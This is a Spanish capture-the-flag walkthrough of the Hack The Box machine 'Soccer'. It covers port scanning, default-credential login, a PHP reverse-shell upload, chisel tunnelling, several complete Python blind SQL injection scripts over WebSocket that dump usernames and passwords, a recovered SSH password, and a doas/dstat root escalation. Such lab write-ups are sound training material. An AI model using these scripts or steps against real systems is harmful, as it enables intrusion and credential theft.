Soccer

Soccer
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 17 Deciembre 2022 sau123

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Soccer

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts 10.10.11.194 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 15:33 -03
Initiating SYN Stealth Scan at 15:33
Scanning 10.10.11.194 [65535 ports]
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 15:33, 15.94s elapsed (65535 total ports)
Nmap scan report for 10.10.11.194
Host is up, received user-set (0.15s latency).
Scanned at 2025-01-30 15:33:33 -03 for 16s
Not shown: 65513 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
80/tcp   open  http           syn-ack ttl 63
9091/tcp open  xmltec-xmlmail syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
           Raw packets sent: 77795 (3.423MB) | Rcvd: 66325 (2.653MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV --min-rate 5000 -p22,80,9091 -oN servicesScan 10.10.11.194
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 15:36 -03
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.15s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Thu, 30 Jan 2025 18:36:32 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Thu, 30 Jan 2025 18:36:33 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94SVN%I=7%D=1/30%Time=679BC6AA%P=x86_64-pc-linux-gnu%r
SF:(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\
SF:nContent-Length:\x20139\r\nDate:\x20Thu,\x2030\x20Jan\x202025\x2018:36:
SF:32\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\
SF:n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r
SF:(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-
SF:Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201
SF:43\r\nDate:\x20Thu,\x2030\x20Jan\x202025\x2018:36:33\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n
SF:<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pr
SF:e>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,
SF:"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20defaul
SF:t-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\
SF:x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Th
SF:u,\x2030\x20Jan\x202025\x2018:36:33\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=
SF:\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIO
SF:NS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.42 seconds

Explotación inicial

echo "10.10.11.194 soccer.htb" >> /etc/hosts

Web (80) soccer.htb

Soccer

Realizamos web fuzzing usando feroxbuster.

Soccer

Soccer

Buscamos credenciales por defecto.

- admin/admin@123
- user/12345

Soccer

Vemos que la versión es la 2.4.3

Si realizamos una búsqueda rápida en Google, encontramos que es vulnerable a RCE.

Soccer

Utilizamos el siguiente código php para subir una reverseshell y ganar acceso al sistema.

cp /usr/share/webshells/php/php-reverse-shell.php .

Soccer Soccer

Soccer

Enumeración / Movimiento lateral

Procedimiento para la enumeración interna y buscar formas para elevar privilegios o realizar movimientos laterales con permisos de usuario normal.

Soccer

www-data -> player

Soccer

Si ejecutamos un curl a la la ip:puerto nos devuleve una web.

Soccer

Subimos chisel.

Creamos un servidor HTTP con Python.

python3 -m http.server 80

Soccer

Lo descargamos y le asignamos permisos de ejecución.

Creamos el servidor de chisel.

Soccer

Nos conectamos.

Soccer

Soccer

Soccer

Configuramos el proxy en FoxyProxy.

Soccer

Soccer

Agreamos el subdominio al archivo /etc/hosts

Login

Soccer

Nos registramos.

Soccer

Iniciamos sesión.

Soccer

Soccer

Si miramos el código fuente, vemos que se conecta a un Web Socket que se ejecuta en el puerto 9091.

Blind SQL Injection

Soccer

Soccer

Soccer

Creamos un script en Python para automatizar el proceso.

En primer lugar, recuperamos las bases de datos.

#!/usr/bin/python3

import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *

url = "ws://soc-player.soccer.htb:9091/"

cookie = "connect.sid=s%3A9dT0VavFhikFXsWfjGiFtle55hFbJKR3.Qqk%2BsCrG%2BBgTcX6uh35ilIYJw29vcJQOMFIVcQElHS8"

headers = {
    "Cookie": cookie
}

async def makeSQLi():
    p1 = log.progress("SQL Injection")
    p1.status("Obteniendo las bases de datos")

    await asyncio.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    characters = string.ascii_lowercase + string.digits + ',_'

    for position in range(1, 150):
        for character in characters:
            char = ord(character)
            data = {
                "id": "66797 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),%d,1) FROM information_schema.schemata )) = %d)-- -" % (position, char)
            }
            p1.status(data)

            async with websockets.connect(url, additional_headers=headers) as websocket:
                json_data = json.dumps(data)

                await websocket.send(json_data)

                res = await websocket.recv()

                if 'Ticket Exists' in res:
                    extracted_info += character
                    p2.status(extracted_info)
                    break

if __name__ == '__main__':
    asyncio.run(makeSQLi())

Soccer

Enumeramos las tablas de la base de datos soccer_db

#!/usr/bin/python3

import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *

url = "ws://soc-player.soccer.htb:9091/"

cookie = "connect.sid=s%3A9dT0VavFhikFXsWfjGiFtle55hFbJKR3.Qqk%2BsCrG%2BBgTcX6uh35ilIYJw29vcJQOMFIVcQElHS8"

headers = {
    "Cookie": cookie
}

async def makeSQLi():
    p1 = log.progress("SQL Injection")
    p1.status("Obteniendo las tablas de la base de datos 'soccer_db'")

    await asyncio.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    characters = string.ascii_lowercase + string.digits + ',_'

    for position in range(1, 150):
        for character in characters:
            char = ord(character)
            data = {
                "id": "66797 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(table_name),%d,1) FROM information_schema.tables WHERE table_schema = 'soccer_db' )) = %d)-- -" % (position, char)
            }
            p1.status(data)

            async with websockets.connect(url, additional_headers=headers) as websocket:
                json_data = json.dumps(data)

                await websocket.send(json_data)

                res = await websocket.recv()

                if 'Ticket Exists' in res:
                    extracted_info += character
                    p2.status(extracted_info)
                    break

if __name__ == '__main__':
    asyncio.run(makeSQLi())

Soccer

Enumeramos las columnas de la tabla accounts

#!/usr/bin/python3

import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *

url = "ws://soc-player.soccer.htb:9091/"

cookie = "connect.sid=s%3A9dT0VavFhikFXsWfjGiFtle55hFbJKR3.Qqk%2BsCrG%2BBgTcX6uh35ilIYJw29vcJQOMFIVcQElHS8"

headers = {
    "Cookie": cookie
}

async def makeSQLi():
    p1 = log.progress("SQL Injection")
    p1.status("Obteniendo las tablas de la base de datos 'soccer_db'")

    await asyncio.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    characters = string.ascii_lowercase + string.digits + ',_'

    for position in range(1, 150):
        for character in characters:
            char = ord(character)
            data = {
                "id": "66797 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(column_name),%d,1) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name='accounts' )) = %d)-- -" % (position, char)
            }
            p1.status(data)

            async with websockets.connect(url, additional_headers=headers) as websocket:
                json_data = json.dumps(data)

                await websocket.send(json_data)

                res = await websocket.recv()

                if 'Ticket Exists' in res:
                    extracted_info += character
                    p2.status(extracted_info)
                    break

if __name__ == '__main__':
    asyncio.run(makeSQLi())

Soccer

#!/usr/bin/python3

import asyncio
import websockets
import signal
import sys
import time
import json
import string
from pwn import *

url = "ws://soc-player.soccer.htb:9091/"

cookie = "connect.sid=s%3AEZIDtluF55rD1SyiK86al5GM7vmAx9AF.Tp9fw8w%2BZFcnXbgx0hCJSo%2BNrhbAWbNuvjKeQDm7RgI"

headers = {
    "Cookie": cookie
}

async def makeSQLi():
    p1 = log.progress("SQL Injection")
    p1.status("Obteniendo las tablas de la base de datos 'soccer_db'")

    await asyncio.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    characters = string.printable

    for position in range(1, 250):
        for character in characters:
            char = ord(character)
            data = {
                "id": "60348 OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(username,':',password),%d,1) FROM soccer_db.accounts )) = %d)-- -" % (position, char)
            }
            p1.status(data)

            async with websockets.connect(url, additional_headers=headers) as websocket:
                json_data = json.dumps(data)

                await websocket.send(json_data)

                res = await websocket.recv()

                if 'Ticket Exists' in res:
                    extracted_info += character
                    p2.status(extracted_info)
                    break

if __name__ == '__main__':
    asyncio.run(makeSQLi())

Soccer

Nos conectamos por SSH.

player:PlayerOftheMatch2022

Soccer

Soccer

Elevación de privilegios

Soccer

Permite ejecutar el binario doas.

El comando doas permite ejecutar un comando como otro usuario.

Para ver la configuración del binario podemos ver el archivo /usr/local/etc/doas.conf

Soccer

En este caso, el usuario player puede ejecutar como root el binario dstat.

Soccer

Referencia: https://gtfobins.github.io/gtfobins/dstat/

Leemos el flag de root.txt

Soccer